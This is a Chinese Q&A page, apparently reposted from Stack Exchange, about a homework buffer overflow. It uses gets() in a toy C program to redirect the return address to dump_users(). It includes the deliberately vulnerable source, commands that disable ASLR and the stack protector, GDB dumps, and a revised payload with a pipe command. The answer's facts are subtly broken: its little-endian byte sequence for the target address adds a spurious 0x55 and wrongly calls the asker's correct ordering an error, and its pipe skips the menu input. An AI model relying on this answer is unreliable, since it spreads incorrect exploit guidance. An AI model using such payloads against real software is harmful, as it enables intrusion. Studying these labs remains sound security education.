You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

缓冲区溢出劫持执行流至dump_users函数触发段错误的解决方法

问题描述

正在完成安全工程作业,需编写缓冲区溢出漏洞利用代码改变C程序执行流程:通过register_user函数中的gets(user.username)触发溢出,覆盖返回地址,使register_user返回时跳转到dump_users函数,但始终触发Segmentation Fault(段错误)。

程序代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define USERNAME_SIZE 32
#define PASSWORD_SIZE 16
#define FILENAME "users.txt"

typedef struct {
    char username[USERNAME_SIZE];
    char password[PASSWORD_SIZE];
} User;

void register_user() {
    FILE *file = fopen(FILENAME, "a");
    if (file == NULL) {
        perror("Error opening file");
        return;
    }

    User user;
    printf("Enter username: ");
    gets(user.username);  // Vulnerable function
    printf("Enter password: ");
    gets(user.password);  // Vulnerable function

    fwrite(&user, sizeof(User), 1, file);
    fclose(file);

    printf("User registered successfully.\n");
}

void login() {
    FILE *file = fopen(FILENAME, "r");
    if (file == NULL) {
        perror("Error opening file");
        return;
    }

    char username[USERNAME_SIZE];
    char password[PASSWORD_SIZE];
    User user;
    int authenticated = 0;

    printf("Enter username: ");
    gets(username);
    printf("Enter password: ");
    gets(password);

    while (fread(&user, sizeof(User), 1, file)) {
        if (strcmp(username, user.username) == 0 && strcmp(password, user.password) == 0) {
            authenticated = 1;
            break;
        }
    }

    fclose(file);

    if (authenticated) {
        printf("Login successful!\n");
    } else {
        printf("Login failed!\n");
    }
}

void dump_users() {
    FILE *file = fopen(FILENAME, "r");
    if (file == NULL) {
        perror("Error opening file");
        return;
    }

    User user;
    printf("Registered users:\n");
    while (fread(&user, sizeof(User), 1, file)) {
        printf("Username: %s, Password: %s\n", user.username, user.password);
    }

    fclose(file);
}

int main() {
    int choice;
    while (1) {
        printf("1. Register\n");
        printf("2. Login\n");
        printf("3. Dump users\n");
        printf("4. Exit\n");
        printf("Enter your choice: ");
        scanf("%d", &choice);
        switch (choice) {
            case 1:
                register_user();
                break;
            case 2:
                login();
                break;
            case 3:
                dump_users();
                break;
            case 4:
                return 0;
            default:
                printf("Invalid choice.\n");
        }
    }
    return 0;
}

已获取的GDB信息

  • dump_users函数地址:0x555555555718
  • 溢出点:gets(user.username)
  • 缓冲区大小:32字节(username)
  • 错误的偏移计算:认为返回地址距缓冲区起始位置40字节

编译与Payload制作

已禁用栈保护和ASLR:

gcc -fno-stack-protector -o main main.c
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

制作的Payload:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x18\x57\x55\x55\x55\x55\x00\x00

手动输入该Payload到register_user的用户名输入框。

问题现象

执行后触发段错误,GDB输出:

Program received signal SIGSEGV, Segmentation fault.
0x00005555555553ba in register_user () at main.c:39
39      } 

栈帧信息:

(gdb) info frame
Stack level 0, frame at 0x7fffffffdad0:
 rip = 0x55555555534c in register_user (main.c:32); saved rip = 0x55555555570f
 called by frame at 0x7fffffffdb00
 source language c.
 Arglist at 0x7fffffffdac0, args:
 Locals at 0x7fffffffdac0, Previous frame's sp is 0x7fffffffdad0
 Saved registers:
  rbp at 0x7fffffffdac0, rip at 0x7fffffffdac8
(gdb) x/20x $rsp
0x7fffffffdaa0: 0x00000000      0x00000000      0xffffdaf0      0x00007fff
0x7fffffffdab0: 0x00000000      0x00000000      0xffffdaf0      0x00007fff
0x7fffffffdac0: 0xffffdaf0      0x00007fff      0x5555570f      0x00005555
0x7fffffffdad0: 0xffffdc08      0x00007fff      0x00000000      0x00000001
0x7fffffffdae0: 0x00000000      0x00000000      0x00000000      0x00000001

问题分析与解决方法

1. 核心错误:偏移量计算遗漏password字段

register_user函数中User结构体的栈布局为:

  • user.username:32字节(溢出缓冲区)
  • user.password:16字节(紧跟username之后)
  • 保存的rbp:8字节(x86_64架构下寄存器为8字节)
  • 返回地址:紧跟保存的rbp之后

要覆盖返回地址,需要先填满username(32) + password(16) + 保存的rbp(8),总计56字节的填充数据,之后再写入目标函数地址。你之前的偏移计算忽略了password的16字节,导致返回地址未被正确覆盖。

2. 字节序错误:64位地址的小端序处理错误

x86_64架构采用小端字节序,低字节存储在内存低地址。dump_users的64位完整地址为0x0000555555555718,转换为字节序列应为:

\x18\x57\x55\x55\x55\x55\x55\x00

你之前的Payload中地址部分高字节顺序错误,导致覆盖的返回地址无效。

3. 修正后的Payload构造

组合正确的填充数据和目标地址,Payload为:

"A"*56 + "\x18\x57\x55\x55\x55\x55\x55\x00"

4. 避免手动输入的干扰

手动输入时终端会将换行符计入输入,可能破坏Payload。建议用管道自动输入:

python3 -c 'print("A"*56 + "\x18\x57\x55\x55\x55\x55\x55\x00")' | ./main

运行后在程序菜单中选择1(Register),即可自动完成溢出。

验证方法

在GDB中运行程序,输入Payload后查看栈帧的返回地址:

(gdb) break register_user
(gdb) run
# 输入Payload后,执行到函数返回前
(gdb) info frame
# 确认saved rip为0x555555555718

内容的提问来源于stack exchange,提问作者Hade Bayaa

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.23 09:25:54